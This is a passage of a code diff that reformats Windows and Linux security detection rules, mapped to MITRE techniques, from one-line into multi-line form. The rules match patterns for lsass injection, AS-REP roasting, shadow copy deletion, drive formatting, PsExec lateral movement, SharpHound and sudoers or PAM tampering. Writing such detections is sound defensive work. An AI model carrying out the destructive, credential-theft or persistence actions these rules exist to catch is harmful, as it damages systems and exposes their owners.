+ slug="win-kerberos-asrep-roast",
+ name="Kerberos AS-REP Roasting Pattern",
+ severity="high",
+ mitre=["t1558.004"],
+ product="windows",
+ service="security",
+ when={"event_id": 4768, "preauth_required": False, "ticket_encryption_type": "0x17"},
+ fp=["Legacy app with preauth disabled (deprecated, must be tracked)"],
+ playbook="tpl-credential-access",
+ ),
# ---- Discovery / lateral (12) ----
- S(slug="win-net-localgroup-administrators", name="net localgroup administrators Enumerated",
- severity="medium", mitre=["t1087.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["net localgroup administrators", "net.exe localgroup administrators"]},
- fp=["IT helpdesk routine check"], playbook="tpl-discovery"),
- S(slug="win-net-group-domain-admins", name="net group \"Domain Admins\" Enumerated",
- severity="high", mitre=["t1087.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_all": ["net", "group", "domain admins"]},
- fp=["IT helpdesk routine check"], playbook="tpl-discovery"),
- S(slug="win-nltest-domain-trusts", name="nltest /domain_trusts Enumerated",
- severity="medium", mitre=["t1482"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "nltest.exe", "process_command_line_contains": "/domain_trusts"},
- fp=["AD trust diagnostics"], playbook="tpl-discovery"),
- S(slug="win-adfind-enumeration", name="AdFind.exe Enumeration Detected",
- severity="high", mitre=["t1087.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "adfind.exe"},
- fp=["IT diagnostic with security ticket"], playbook="tpl-discovery"),
- S(slug="win-bloodhound-sharphound", name="SharpHound Collection Run Detected",
- severity="high", mitre=["t1087.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["sharphound", "invoke-bloodhound", "bloodhound.py"]},
- fp=[FP_PENTEST], playbook="tpl-discovery"),
- S(slug="win-arp-cache-enum", name="arp -a Enumeration By Workstation",
- severity="low", mitre=["t1018"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "arp.exe", "process_command_line_contains": "-a"},
- fp=["Network diagnostics"], playbook="tpl-discovery"),
- S(slug="win-route-print", name="route print Run From Workstation",
- severity="low", mitre=["t1018"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "route.exe", "process_command_line_contains": "print"},
- fp=["Network diagnostics"], playbook="tpl-discovery"),
- S(slug="win-net-share-enum", name="net view Used To Enumerate File Shares",
- severity="low", mitre=["t1135"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["net view \\\\", "net.exe share"]},
- fp=["IT routine inventory"], playbook="tpl-discovery"),
- S(slug="win-psexec-execution-host", name="PsExec.exe Service Created On Host",
- severity="high", mitre=["t1021.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "psexec.exe", "process_command_line_contains": "\\\\"},
- fp=["IT remote support tooling (allow-listed)"], playbook="tpl-lateral-movement"),
- S(slug="win-psexesvc-service-create", name="PSEXESVC Service Created (Remote PsExec)",
- severity="high", mitre=["t1021.002"], product="windows", service="services",
- when={"event_id": 7045, "service_name_endswith": "psexesvc", "service_image_path_contains": "psexec"},
- fp=["IT remote support tooling (allow-listed)"], playbook="tpl-lateral-movement"),
- S(slug="win-paexec-service-create", name="PAExec Service Created",
- severity="high", mitre=["t1021.002"], product="windows", service="services",
- when={"event_id": 7045, "service_name_contains": "paexec"},
- fp=["IT remote support tooling (allow-listed)"], playbook="tpl-lateral-movement"),
- S(slug="win-winrm-shell-from-workstation", name="WinRM Shell From Workstation To DC",
- severity="high", mitre=["t1021.006"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains": "enter-pssession", "destination_role": "domain-controller"},
- fp=["Authorised AD admin from PAW"], playbook="tpl-lateral-movement"),
-
+ S(
+ slug="win-net-localgroup-administrators",
+ name="net localgroup administrators Enumerated",
+ severity="medium",
+ mitre=["t1087.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["net localgroup administrators", "net.exe localgroup administrators"]},
+ fp=["IT helpdesk routine check"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-net-group-domain-admins",
+ name='net group "Domain Admins" Enumerated',
+ severity="high",
+ mitre=["t1087.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_all": ["net", "group", "domain admins"]},
+ fp=["IT helpdesk routine check"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-nltest-domain-trusts",
+ name="nltest /domain_trusts Enumerated",
+ severity="medium",
+ mitre=["t1482"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "nltest.exe", "process_command_line_contains": "/domain_trusts"},
+ fp=["AD trust diagnostics"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-adfind-enumeration",
+ name="AdFind.exe Enumeration Detected",
+ severity="high",
+ mitre=["t1087.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "adfind.exe"},
+ fp=["IT diagnostic with security ticket"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-bloodhound-sharphound",
+ name="SharpHound Collection Run Detected",
+ severity="high",
+ mitre=["t1087.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["sharphound", "invoke-bloodhound", "bloodhound.py"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-arp-cache-enum",
+ name="arp -a Enumeration By Workstation",
+ severity="low",
+ mitre=["t1018"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "arp.exe", "process_command_line_contains": "-a"},
+ fp=["Network diagnostics"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-route-print",
+ name="route print Run From Workstation",
+ severity="low",
+ mitre=["t1018"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "route.exe", "process_command_line_contains": "print"},
+ fp=["Network diagnostics"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-net-share-enum",
+ name="net view Used To Enumerate File Shares",
+ severity="low",
+ mitre=["t1135"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["net view \\\\", "net.exe share"]},
+ fp=["IT routine inventory"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="win-psexec-execution-host",
+ name="PsExec.exe Service Created On Host",
+ severity="high",
+ mitre=["t1021.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "psexec.exe", "process_command_line_contains": "\\\\"},
+ fp=["IT remote support tooling (allow-listed)"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="win-psexesvc-service-create",
+ name="PSEXESVC Service Created (Remote PsExec)",
+ severity="high",
+ mitre=["t1021.002"],
+ product="windows",
+ service="services",
+ when={"event_id": 7045, "service_name_endswith": "psexesvc", "service_image_path_contains": "psexec"},
+ fp=["IT remote support tooling (allow-listed)"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="win-paexec-service-create",
+ name="PAExec Service Created",
+ severity="high",
+ mitre=["t1021.002"],
+ product="windows",
+ service="services",
+ when={"event_id": 7045, "service_name_contains": "paexec"},
+ fp=["IT remote support tooling (allow-listed)"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="win-winrm-shell-from-workstation",
+ name="WinRM Shell From Workstation To DC",
+ severity="high",
+ mitre=["t1021.006"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains": "enter-pssession", "destination_role": "domain-controller"},
+ fp=["Authorised AD admin from PAW"],
+ playbook="tpl-lateral-movement",
+ ),
# ---- Process injection / impact (10) ----
- S(slug="win-process-hollowing-marker", name="Process Hollowing Marker (CreateProcess Suspended + Unmapped)",
- severity="high", mitre=["t1055.012"], product="windows", service="sysmon",
- when={"event_id": 8, "create_remote_thread_target_process_endswith_any": ["explorer.exe", "svchost.exe", "lsass.exe"]},
- fp=["EDR injection for protection (allow-listed)"], playbook="tpl-defense-evasion"),
- S(slug="win-create-remote-thread-lsass", name="CreateRemoteThread Targeting lsass.exe",
- severity="critical", mitre=["t1055.001"], product="windows", service="sysmon",
- when={"event_id": 8, "target_image_endswith": "lsass.exe"},
- fp=["EDR-allowed process injection"], playbook="tpl-credential-access"),
- S(slug="win-suspicious-thread-into-explorer", name="Suspicious CreateRemoteThread Into explorer.exe",
- severity="high", mitre=["t1055"], product="windows", service="sysmon",
- when={"event_id": 8, "target_image_endswith": "explorer.exe", "source_image_path_contains_any": ["\\temp\\", "\\appdata\\"]},
- fp=["EDR-allowed process injection"], playbook="tpl-defense-evasion"),
- S(slug="win-cipher-w-secure-delete", name="cipher.exe /w Used (Secure Delete)",
- severity="medium", mitre=["t1485"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "cipher.exe", "process_command_line_contains": "/w"},
- fp=["Decommission / disposal procedure"], playbook="tpl-impact"),
- S(slug="win-format-com-quick", name="format Command Used Against Drive",
- severity="critical", mitre=["t1485"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "format.com", "process_command_line_contains_any": ["/q", "/p:0"]},
- fp=["Asset disposal workflow"], playbook="tpl-impact"),
- S(slug="win-icacls-deny-readonly", name="icacls Used To Deny Access On System Path",
- severity="high", mitre=["t1222.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "icacls.exe", "process_command_line_contains_all": ["/deny", "everyone"]},
- fp=[FP_BREAK_GLASS], playbook="tpl-impact"),
- S(slug="win-takeown-system-path", name="takeown.exe Used Against System Path",
- severity="medium", mitre=["t1222.001"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "takeown.exe", "process_command_line_contains_any": ["c:\\windows\\", "system32"]},
- fp=[FP_PATCH], playbook="tpl-defense-evasion"),
- S(slug="win-rundll32-shell32-controlrunDLL", name="rundll32.exe shell32 Control_RunDLL Used Suspiciously",
- severity="medium", mitre=["t1218.011"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "rundll32.exe", "process_command_line_contains_any": ["shell32.dll,control_rundll", "shell32.dll, control_rundll"]},
- fp=["Control panel applet legitimately invoked"], playbook="tpl-execution"),
- S(slug="win-ransomware-ext-rename-burst", name="Burst Of File Extension Renames To Common Ransom Markers",
- severity="critical", mitre=["t1486"], product="windows", service="sysmon",
- when={"event_id": 11, "target_filename_endswith_any": [".locked", ".enc", ".crypt", ".lockbit", ".conti", ".royal"]},
- fp=[FP_PENTEST], playbook="tpl-impact"),
- S(slug="win-shadow-copy-mass-delete", name="Mass Shadow Copy Deletion Via WMI",
- severity="critical", mitre=["t1490"], product="windows", service="sysmon",
- when={"event_id": 1, "process_name_endswith": "wmic.exe", "process_command_line_contains_all": ["shadowcopy", "delete"]},
- fp=[FP_BACKUP], playbook="tpl-impact"),
-
+ S(
+ slug="win-process-hollowing-marker",
+ name="Process Hollowing Marker (CreateProcess Suspended + Unmapped)",
+ severity="high",
+ mitre=["t1055.012"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 8, "create_remote_thread_target_process_endswith_any": ["explorer.exe", "svchost.exe", "lsass.exe"]},
+ fp=["EDR injection for protection (allow-listed)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-create-remote-thread-lsass",
+ name="CreateRemoteThread Targeting lsass.exe",
+ severity="critical",
+ mitre=["t1055.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 8, "target_image_endswith": "lsass.exe"},
+ fp=["EDR-allowed process injection"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="win-suspicious-thread-into-explorer",
+ name="Suspicious CreateRemoteThread Into explorer.exe",
+ severity="high",
+ mitre=["t1055"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 8, "target_image_endswith": "explorer.exe", "source_image_path_contains_any": ["\\temp\\", "\\appdata\\"]},
+ fp=["EDR-allowed process injection"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-cipher-w-secure-delete",
+ name="cipher.exe /w Used (Secure Delete)",
+ severity="medium",
+ mitre=["t1485"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "cipher.exe", "process_command_line_contains": "/w"},
+ fp=["Decommission / disposal procedure"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="win-format-com-quick",
+ name="format Command Used Against Drive",
+ severity="critical",
+ mitre=["t1485"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "format.com", "process_command_line_contains_any": ["/q", "/p:0"]},
+ fp=["Asset disposal workflow"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="win-icacls-deny-readonly",
+ name="icacls Used To Deny Access On System Path",
+ severity="high",
+ mitre=["t1222.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "icacls.exe", "process_command_line_contains_all": ["/deny", "everyone"]},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="win-takeown-system-path",
+ name="takeown.exe Used Against System Path",
+ severity="medium",
+ mitre=["t1222.001"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "takeown.exe", "process_command_line_contains_any": ["c:\\windows\\", "system32"]},
+ fp=[FP_PATCH],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="win-rundll32-shell32-controlrunDLL",
+ name="rundll32.exe shell32 Control_RunDLL Used Suspiciously",
+ severity="medium",
+ mitre=["t1218.011"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "process_name_endswith": "rundll32.exe",
+ "process_command_line_contains_any": ["shell32.dll,control_rundll", "shell32.dll, control_rundll"],
+ },
+ fp=["Control panel applet legitimately invoked"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-ransomware-ext-rename-burst",
+ name="Burst Of File Extension Renames To Common Ransom Markers",
+ severity="critical",
+ mitre=["t1486"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 11, "target_filename_endswith_any": [".locked", ".enc", ".crypt", ".lockbit", ".conti", ".royal"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="win-shadow-copy-mass-delete",
+ name="Mass Shadow Copy Deletion Via WMI",
+ severity="critical",
+ mitre=["t1490"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_name_endswith": "wmic.exe", "process_command_line_contains_all": ["shadowcopy", "delete"]},
+ fp=[FP_BACKUP],
+ playbook="tpl-impact",
+ ),
# ---- Office & living-off-the-land (6) ----
- S(slug="win-office-spawn-mshta", name="Office Application Spawned mshta.exe",
- severity="high", mitre=["t1218.005"], product="windows", service="sysmon",
- when={"event_id": 1, "parent_process_endswith_any": ["winword.exe", "excel.exe", "powerpnt.exe"], "process_name_endswith": "mshta.exe"},
- fp=["Macro-enabled enterprise template (allow-listed)"], playbook="tpl-execution"),
- S(slug="win-office-spawn-rundll32", name="Office Application Spawned rundll32.exe",
- severity="high", mitre=["t1218.011"], product="windows", service="sysmon",
- when={"event_id": 1, "parent_process_endswith_any": ["winword.exe", "excel.exe", "powerpnt.exe"], "process_name_endswith": "rundll32.exe"},
- fp=["Sanctioned add-in"], playbook="tpl-execution"),
- S(slug="win-onenote-spawn-cmd", name="OneNote Spawned cmd.exe",
- severity="high", mitre=["t1204.002"], product="windows", service="sysmon",
- when={"event_id": 1, "parent_process_endswith": "onenote.exe", "process_name_endswith_any": ["cmd.exe", "powershell.exe", "wscript.exe"]},
- fp=["Sanctioned macro-enabled OneNote (rare)"], playbook="tpl-execution"),
- S(slug="win-pdfreader-spawn-shell", name="PDF Reader Spawned Shell",
- severity="high", mitre=["t1204.002"], product="windows", service="sysmon",
- when={"event_id": 1, "parent_process_endswith_any": ["acrord32.exe", "acrobat.exe", "foxitreader.exe"], "process_name_endswith_any": ["cmd.exe", "powershell.exe"]},
- fp=["PDF embedding signed plug-in"], playbook="tpl-execution"),
- S(slug="win-iso-mount-from-temp", name="ISO File Mounted From User Temp",
- severity="medium", mitre=["t1204.002"], product="windows", service="sysmon",
- when={"event_id": 11, "target_filename_endswith": ".iso", "target_filename_contains_any": ["\\temp\\", "\\downloads\\"]},
- fp=["Software install workflow"], playbook="tpl-execution"),
- S(slug="win-lnk-file-from-removable", name="LNK File Executed From Removable Media",
- severity="medium", mitre=["t1204.002"], product="windows", service="sysmon",
- when={"event_id": 1, "process_command_line_contains_any": ["e:\\", "f:\\"], "parent_image_endswith": "explorer.exe"},
- fp=["Approved kiosk workflow"], playbook="tpl-execution"),
+ S(
+ slug="win-office-spawn-mshta",
+ name="Office Application Spawned mshta.exe",
+ severity="high",
+ mitre=["t1218.005"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "parent_process_endswith_any": ["winword.exe", "excel.exe", "powerpnt.exe"],
+ "process_name_endswith": "mshta.exe",
+ },
+ fp=["Macro-enabled enterprise template (allow-listed)"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-office-spawn-rundll32",
+ name="Office Application Spawned rundll32.exe",
+ severity="high",
+ mitre=["t1218.011"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "parent_process_endswith_any": ["winword.exe", "excel.exe", "powerpnt.exe"],
+ "process_name_endswith": "rundll32.exe",
+ },
+ fp=["Sanctioned add-in"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-onenote-spawn-cmd",
+ name="OneNote Spawned cmd.exe",
+ severity="high",
+ mitre=["t1204.002"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "parent_process_endswith": "onenote.exe",
+ "process_name_endswith_any": ["cmd.exe", "powershell.exe", "wscript.exe"],
+ },
+ fp=["Sanctioned macro-enabled OneNote (rare)"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-pdfreader-spawn-shell",
+ name="PDF Reader Spawned Shell",
+ severity="high",
+ mitre=["t1204.002"],
+ product="windows",
+ service="sysmon",
+ when={
+ "event_id": 1,
+ "parent_process_endswith_any": ["acrord32.exe", "acrobat.exe", "foxitreader.exe"],
+ "process_name_endswith_any": ["cmd.exe", "powershell.exe"],
+ },
+ fp=["PDF embedding signed plug-in"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-iso-mount-from-temp",
+ name="ISO File Mounted From User Temp",
+ severity="medium",
+ mitre=["t1204.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 11, "target_filename_endswith": ".iso", "target_filename_contains_any": ["\\temp\\", "\\downloads\\"]},
+ fp=["Software install workflow"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="win-lnk-file-from-removable",
+ name="LNK File Executed From Removable Media",
+ severity="medium",
+ mitre=["t1204.002"],
+ product="windows",
+ service="sysmon",
+ when={"event_id": 1, "process_command_line_contains_any": ["e:\\", "f:\\"], "parent_image_endswith": "explorer.exe"},
+ fp=["Approved kiosk workflow"],
+ playbook="tpl-execution",
+ ),
]
@@ -409,256 +1101,688 @@ WINDOWS_RULES: list[dict] = [
# ---------------------------------------------------------------------------
LINUX_RULES: list[dict] = [
# ---- Persistence (15) ----
- S(slug="linux-systemd-service-create-untrusted", name="Systemd Unit File Written By Non-Package Process",
- severity="high", mitre=["t1543.002"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains": "/etc/systemd/system/", "exe_not_endswith_any": ["/dpkg", "/rpm", "/yum", "/apt-get", "/zypper"]},
- fp=[FP_AUTOMATION, "Configuration management agent"], playbook="tpl-persistence"),
- S(slug="linux-systemd-timer-create", name="Systemd Timer Unit Created",
- severity="medium", mitre=["t1053.006"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains": "/etc/systemd/system/", "path_endswith": ".timer"},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="linux-cron-d-write", name="File Written Into /etc/cron.d Outside Package Mgr",
- severity="high", mitre=["t1053.003"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains": "/etc/cron.d/", "exe_not_endswith_any": ["/dpkg", "/rpm", "/apt-get", "/yum", "/dnf"]},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="linux-anacron-job-add", name="Anacron Job File Added",
- severity="medium", mitre=["t1053.003"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains_any": ["/etc/anacrontab", "/etc/cron.daily/", "/etc/cron.weekly/"], "exe_not_endswith_any": ["/dpkg", "/rpm"]},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="linux-at-job-create", name="at Job Created",
- severity="medium", mitre=["t1053.001"], product="linux", service="auditd",
- when={"syscall": "execve", "exe_endswith": "/at"},
- fp=["IT scheduled task workflow"], playbook="tpl-persistence"),
- S(slug="linux-rclocal-modified", name="/etc/rc.local Modified",
- severity="high", mitre=["t1037.004"], product="linux", service="auditd",
- when={"syscall": "openat", "path": "/etc/rc.local"},
- fp=["Legacy boot workflow refresh"], playbook="tpl-persistence"),
- S(slug="linux-initd-script-add", name="/etc/init.d/ Script Added By Non-Pkg Process",
- severity="high", mitre=["t1037.004"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains": "/etc/init.d/", "exe_not_endswith_any": ["/dpkg", "/rpm"]},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="linux-bashrc-modified-by-other-user", name="~/.bashrc Modified By Other User",
- severity="medium", mitre=["t1546.004"], product="linux", service="auditd",
- when={"syscall": "openat", "path_endswith": "/.bashrc", "actor_uid_neq_owner_uid": True},
- fp=[FP_AUTOMATION, "Configuration mgmt managed dotfiles"], playbook="tpl-persistence"),
- S(slug="linux-zshrc-modified-by-other-user", name="~/.zshrc Modified By Other User",
- severity="medium", mitre=["t1546.004"], product="linux", service="auditd",
- when={"syscall": "openat", "path_endswith": "/.zshrc", "actor_uid_neq_owner_uid": True},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="linux-pam-d-modified", name="/etc/pam.d/ Configuration Modified",
- severity="high", mitre=["t1556.003"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains": "/etc/pam.d/", "exe_not_endswith_any": ["/dpkg", "/rpm", "/yum"]},
- fp=[FP_AUTOMATION], playbook="tpl-credential-access"),
- S(slug="linux-nss-module-installed", name="NSS Module Installed In /usr/lib",
- severity="high", mitre=["t1556"], product="linux", service="auditd",
- when={"syscall": "openat", "path_startswith": "/usr/lib", "path_contains": "libnss_", "exe_not_endswith_any": ["/dpkg", "/rpm"]},
- fp=[FP_AUTOMATION], playbook="tpl-credential-access"),
- S(slug="linux-sudoers-d-add", name="New File Added Under /etc/sudoers.d/",
- severity="high", mitre=["t1098"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains": "/etc/sudoers.d/", "exe_not_endswith_any": ["/visudo", "/dpkg", "/rpm"]},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="linux-nopasswd-sudo-line", name="Sudoers File Granted NOPASSWD Privilege",
- severity="high", mitre=["t1548.003"], product="linux", service="auditd",
- when={"syscall": "openat", "path_contains_any": ["/etc/sudoers", "/etc/sudoers.d/"], "file_content_contains": "NOPASSWD"},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="linux-authorized-keys-bulk-append", name="Multiple Authorized Keys Appended In Short Window",
- severity="high", mitre=["t1098.004"], product="linux", service="auditd",
- when={"syscall": "openat", "path_endswith": "/.ssh/authorized_keys", "append_count_5min_gt": 3},
- fp=["Bulk team onboarding via Ansible"], playbook="tpl-persistence"),
- S(slug="linux-ssh-config-permitrootlogin-yes", name="sshd_config PermitRootLogin Set To Yes",
- severity="high", mitre=["t1556.004"], product="linux", service="auditd",
- when={"syscall": "openat", "path": "/etc/ssh/sshd_config", "value_contains": "PermitRootLogin yes"},
- fp=[FP_BREAK_GLASS], playbook="tpl-credential-access"),
-
+ S(
+ slug="linux-systemd-service-create-untrusted",
+ name="Systemd Unit File Written By Non-Package Process",
+ severity="high",
+ mitre=["t1543.002"],
+ product="linux",
+ service="auditd",
+ when={
+ "syscall": "openat",
+ "path_contains": "/etc/systemd/system/",
+ "exe_not_endswith_any": ["/dpkg", "/rpm", "/yum", "/apt-get", "/zypper"],
+ },
+ fp=[FP_AUTOMATION, "Configuration management agent"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-systemd-timer-create",
+ name="Systemd Timer Unit Created",
+ severity="medium",
+ mitre=["t1053.006"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_contains": "/etc/systemd/system/", "path_endswith": ".timer"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-cron-d-write",
+ name="File Written Into /etc/cron.d Outside Package Mgr",
+ severity="high",
+ mitre=["t1053.003"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_contains": "/etc/cron.d/", "exe_not_endswith_any": ["/dpkg", "/rpm", "/apt-get", "/yum", "/dnf"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-anacron-job-add",
+ name="Anacron Job File Added",
+ severity="medium",
+ mitre=["t1053.003"],
+ product="linux",
+ service="auditd",
+ when={
+ "syscall": "openat",
+ "path_contains_any": ["/etc/anacrontab", "/etc/cron.daily/", "/etc/cron.weekly/"],
+ "exe_not_endswith_any": ["/dpkg", "/rpm"],
+ },
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-at-job-create",
+ name="at Job Created",
+ severity="medium",
+ mitre=["t1053.001"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "execve", "exe_endswith": "/at"},
+ fp=["IT scheduled task workflow"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-rclocal-modified",
+ name="/etc/rc.local Modified",
+ severity="high",
+ mitre=["t1037.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path": "/etc/rc.local"},
+ fp=["Legacy boot workflow refresh"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-initd-script-add",
+ name="/etc/init.d/ Script Added By Non-Pkg Process",
+ severity="high",
+ mitre=["t1037.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_contains": "/etc/init.d/", "exe_not_endswith_any": ["/dpkg", "/rpm"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-bashrc-modified-by-other-user",
+ name="~/.bashrc Modified By Other User",
+ severity="medium",
+ mitre=["t1546.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_endswith": "/.bashrc", "actor_uid_neq_owner_uid": True},
+ fp=[FP_AUTOMATION, "Configuration mgmt managed dotfiles"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-zshrc-modified-by-other-user",
+ name="~/.zshrc Modified By Other User",
+ severity="medium",
+ mitre=["t1546.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_endswith": "/.zshrc", "actor_uid_neq_owner_uid": True},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-pam-d-modified",
+ name="/etc/pam.d/ Configuration Modified",
+ severity="high",
+ mitre=["t1556.003"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_contains": "/etc/pam.d/", "exe_not_endswith_any": ["/dpkg", "/rpm", "/yum"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="linux-nss-module-installed",
+ name="NSS Module Installed In /usr/lib",
+ severity="high",
+ mitre=["t1556"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_startswith": "/usr/lib", "path_contains": "libnss_", "exe_not_endswith_any": ["/dpkg", "/rpm"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="linux-sudoers-d-add",
+ name="New File Added Under /etc/sudoers.d/",
+ severity="high",
+ mitre=["t1098"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_contains": "/etc/sudoers.d/", "exe_not_endswith_any": ["/visudo", "/dpkg", "/rpm"]},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-nopasswd-sudo-line",
+ name="Sudoers File Granted NOPASSWD Privilege",
+ severity="high",
+ mitre=["t1548.003"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_contains_any": ["/etc/sudoers", "/etc/sudoers.d/"], "file_content_contains": "NOPASSWD"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="linux-authorized-keys-bulk-append",
+ name="Multiple Authorized Keys Appended In Short Window",
+ severity="high",
+ mitre=["t1098.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path_endswith": "/.ssh/authorized_keys", "append_count_5min_gt": 3},
+ fp=["Bulk team onboarding via Ansible"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="linux-ssh-config-permitrootlogin-yes",
+ name="sshd_config PermitRootLogin Set To Yes",
+ severity="high",
+ mitre=["t1556.004"],
+ product="linux",
+ service="auditd",
+ when={"syscall": "openat", "path": "/etc/ssh/sshd_config", "value_contains": "PermitRootLogin yes"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-credential-access",
+ ),
# ---- Defense evasion / log tampering (10) ----
- S(slug="linux-auditd-stopped", name="auditd Service Stopped",
- severity="high", mitre=["t1562.012"], product="linux", service="syslog",
- when={"unit": "auditd", "active_state": "inactive"},
- fp=[FP_PATCH], playbook="tpl-defense-evasion"),
